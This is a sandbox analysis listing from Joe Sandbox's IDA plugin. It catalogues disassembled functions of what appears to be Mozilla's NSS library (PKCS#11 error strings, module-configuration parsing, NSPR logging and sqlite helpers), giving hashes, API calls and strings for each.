Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 7617b8031a5620116522474aecb8449ed1324da670d090512a03e9868b4d6084
Instruction ID: e4d8c706578bfa501d8773499444c3f9a43d848fca6a882e0d86bcd51d6b44c0
Opcode Fuzzy Hash: 7617b8031a5620116522474aecb8449ed1324da670d090512a03e9868b4d6084
Instruction Fuzzy Hash: 6BE11C71A293408FDB44DF28D58975ABBF0FF8A318F11861DE89997351E730A985CBC2

Function 6CF85E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF85B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE6DF9B), ref: 6CF85B9E
Part of subcall function 6CF85B90: PR_Unlock.NSS3 ref: 6CF85BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF85E23,6CE6E154), ref: 6CF85EBF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 995a5f62c69bda5b556d38d8a510fb4283e1192c8fcbca6c3b600eae037a5e1f
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 39519D72E0121A8FDB18CF59C8815AEF7B2FF98314B19456DD816B7745D730A941CBA0

Function 6CF3DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d90584b945bcceb2a0d8084bb87399823e30b8cfa300e66ed3bcffc69f9dafa
Instruction ID: 0813af918b260d1bdd00f61559603eadfc4ae38d785be75e1b385b73600d21ae
Opcode Fuzzy Hash: 9d90584b945bcceb2a0d8084bb87399823e30b8cfa300e66ed3bcffc69f9dafa
Instruction Fuzzy Hash: 8CF14D71A01215DFDB48CF29C4947AA7BB2BF89318F298168D8099F751CB35ED42CBD1

Function 6CED1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 9e0b7683ff9e5be9fea326b0c3949b02aeb70f64561fcd0af6afbdf169231516
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 31D14732A046568BDB118E58C8843DA7773AB96338F2A4328DC651B7C6C37ABD07C7D1

Function 6CE68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction ID: 00a5ee0f709b7b5bff17f196005d78820e35a85bd3059b9af83593449932d9e9
Opcode Fuzzy Hash: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction Fuzzy Hash: 0911B232AA02198BD728CF26D88975AB7B5BF4331CF24426AD8158FF51C775E886C7C1

Function 6CF40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction ID: 569a6a65239deb010d40e381ddaaeabeb4701ba5e6e7539228746690de4a2f13
Opcode Fuzzy Hash: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction Fuzzy Hash: BA11CE75704345DFDB00DF28C88066A7BA2FF85368F18C06DD8298B706DBB1E806CBA0

Function 6CEB3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: bead6890c2848137e61b83685991a742443f37545f41ee966126f705635b74a4
Instruction ID: 6437de047c3a28ab228d1d611b01c144a8e80764e1d88dcc820460604418071b
Opcode Fuzzy Hash: bead6890c2848137e61b83685991a742443f37545f41ee966126f705635b74a4
Instruction Fuzzy Hash: 97F09A70E006598BCB40EF29C59129AB7F4EF09244B109619EC8AAB200EB30AA84C7C1

Function 6CF40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 110d029f02957afbf8338699262e0e8ac99a925f132d3519a2950dbdb50b58f7
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 35E06D3A202054A7DB148E09C450BAA7B69DF91719FA4C079CC599BA02DA73F8078B81

Function 6CE6CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5593db326074ffffb6bf66e450072accdec88393648545e103cb7c415e76dc11
Instruction ID: dfcbf7f065c015883fa32395662353cc56231a80ad515f8aa5a7d887f0e805d6
Opcode Fuzzy Hash: 5593db326074ffffb6bf66e450072accdec88393648545e103cb7c415e76dc11
Instruction Fuzzy Hash: 5AC09238254708CFC744DF18E489EA43BF8FF0D6107044094EA028B721DB31FC00DA80

Function 6CEA1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CEA1D46), ref: 6CEA2345

Strings

CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CEA2275
CKR_DEVICE_REMOVED, xrefs: 6CEA2261
CKR_BUFFER_TOO_SMALL, xrefs: 6CEA2183
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CEA2293, 6CEA233F
CKR_MUTEX_BAD, xrefs: 6CEA1F49
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CEA218D
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CEA2179
CKR_PIN_LEN_RANGE, xrefs: 6CEA2061
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CEA20D9
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CEA1F8B
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CEA2327
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CEA1FD7
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CEA204D
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CEA2320
CKR_SIGNATURE_INVALID, xrefs: 6CEA20CF
rv = 0x%x, xrefs: 6CEA2312
CKR_OPERATION_ACTIVE, xrefs: 6CEA22B8
CKR_NEXT_OTP, xrefs: 6CEA222F
CKR_PIN_EXPIRED, xrefs: 6CEA206B
CKR_NEW_PIN_MODE, xrefs: 6CEA1E9F
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CEA226B
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CEA227F
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CEA2319
CKR_DEVICE_MEMORY, xrefs: 6CEA1FF3
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CEA1F95
CKR_STATE_UNSAVEABLE, xrefs: 6CEA2037
CKR_PIN_INCORRECT, xrefs: 6CEA1D92
rv = %s, xrefs: 6CEA2340
CKR_WRAPPED_KEY_INVALID, xrefs: 6CEA1FB5
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CEA22FF
CKR_FUNCTION_REJECTED, xrefs: 6CEA2289
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CEA1F77
CKR_FUNCTION_CANCELED, xrefs: 6CEA1E73
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CEA1EE1
CKR_INFORMATION_SENSITIVE, xrefs: 6CEA22B1
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CEA232E
CKR_SAVED_STATE_INVALID, xrefs: 6CEA1E56
CKR_RANDOM_NO_RNG, xrefs: 6CEA22A7
CKR_DEVICE_ERROR, xrefs: 6CEA229D
CKR_PIN_INVALID, xrefs: 6CEA2057
CKR_TOKEN_NOT_PRESENT, xrefs: 6CEA1F81
CKR_MUTEX_NOT_LOCKED, xrefs: 6CEA2225
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CEA2015
CKR_OK, xrefs: 6CEA1DFC
CKR_PIN_LOCKED, xrefs: 6CEA2075
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CEA1F0F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CEA1DE0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 027cb3472bdc034f6beed20c39fe6096e62f1ed51cd7dfcc8ca9532d306efcc3
Instruction ID: f977a34817ce99690b7cc420f97758a80a736bc2ff2831518cb06de21f3983ee
Opcode Fuzzy Hash: 027cb3472bdc034f6beed20c39fe6096e62f1ed51cd7dfcc8ca9532d306efcc3
Instruction Fuzzy Hash: B561E024A4D046CEDA1C05CFC1AA36C31359B27709F74D1B7E589BEF90C7A9CA4B4693

Function 6CED5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CED5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CED5E5C
free.MOZGLUE(00000000), ref: 6CED5E7E
free.MOZGLUE(00000000), ref: 6CED5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CED5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CED5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CED5EF0
free.MOZGLUE(00000000), ref: 6CED5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CED5F5B
free.MOZGLUE(00000000), ref: 6CED5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CED5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CED5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CED5FC4
free.MOZGLUE(00000000), ref: 6CED5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED5FE9
free.MOZGLUE(00000000), ref: 6CED5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CED6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CED605A
PR_smprintf.NSS3(6CFAAAF9,00000000), ref: 6CED606A
free.MOZGLUE(00000000), ref: 6CED607C
free.MOZGLUE(00000000), ref: 6CED609A
free.MOZGLUE(00000000), ref: 6CED60B2
free.MOZGLUE(?), ref: 6CED60CE

Strings

configDir=, xrefs: 6CED5F9D
secmod=, xrefs: 6CED5FB1
pkcs11.txt, xrefs: 6CED5F47, 6CED5F7C, 6CED603A, 6CED6053
secmod.db, xrefs: 6CED5EA0
flags, xrefs: 6CED5E3A, 6CED5EC6, 6CED5F30
forceSecmodChoice, xrefs: 6CED5F55
noModDB, xrefs: 6CED5EEA
%s/%s, xrefs: 6CED6055
readOnly, xrefs: 6CED5E56

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 68ed79540947c77aef32dcb50334938040b3c9c742082d45969220f20aa67ae0
Instruction ID: bffaa8327f3dfb05b707a5a6ec63ce26e714de35c874177a55b5fa7df1fc25f1
Opcode Fuzzy Hash: 68ed79540947c77aef32dcb50334938040b3c9c742082d45969220f20aa67ae0
Instruction Fuzzy Hash: 629107F0E052015BEB109F65DC85B9B3BB89F0624CF290465EC55DBB42E732E907C7A2

Function 6CE61D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE61DA3

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE61DB2

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE61DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE61E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE61EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE61ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE61EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE61F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE61F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE61F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE61F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE61F83
PR_SetLogFile.NSS3(00000000), ref: 6CE61FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE61FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE61FCB
free.MOZGLUE(00000000), ref: 6CE61FD2

Strings

all, xrefs: 6CE61F0E
sync, xrefs: 6CE61E46
NSPR_LOG_FILE, xrefs: 6CE61F69
, %n, xrefs: 6CE61E6B
bufsize, xrefs: 6CE61E9B
timestamp, xrefs: 6CE61EC4
Unable to create nspr log file '%s', xrefs: 6CE61FB3
append, xrefs: 6CE61EE6
NSPR_LOG_MODULES, xrefs: 6CE61DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE61E27

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: e7cc5b4769aa056e2d425d9f0e95e59a88ff944d8141c095143f0d6ba2e46dde
Instruction ID: 825eaa56392700015cd279e750c406afd50b9d859ae1c99b9b33b55223288576
Opcode Fuzzy Hash: e7cc5b4769aa056e2d425d9f0e95e59a88ff944d8141c095143f0d6ba2e46dde
Instruction Fuzzy Hash: 62519EB1E602099BDF01DBE6CC45B9E77B8AF0134DF280528E816DBB01E771E918CB91

Function 6CF46E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CE0BE66), ref: 6CF46E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CE0BE66), ref: 6CF46E98
sqlite3_snprintf.NSS3(?,00000000,6CFAAAF9,?,?,?,?,?,?,6CE0BE66), ref: 6CF46EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CE0BE66), ref: 6CF46ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CE0BE66), ref: 6CF46EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CE0BE66), ref: 6CF46FA6
sqlite3_snprintf.NSS3(?,00000000,6CFAAAF9,00000000,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF46FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF47014
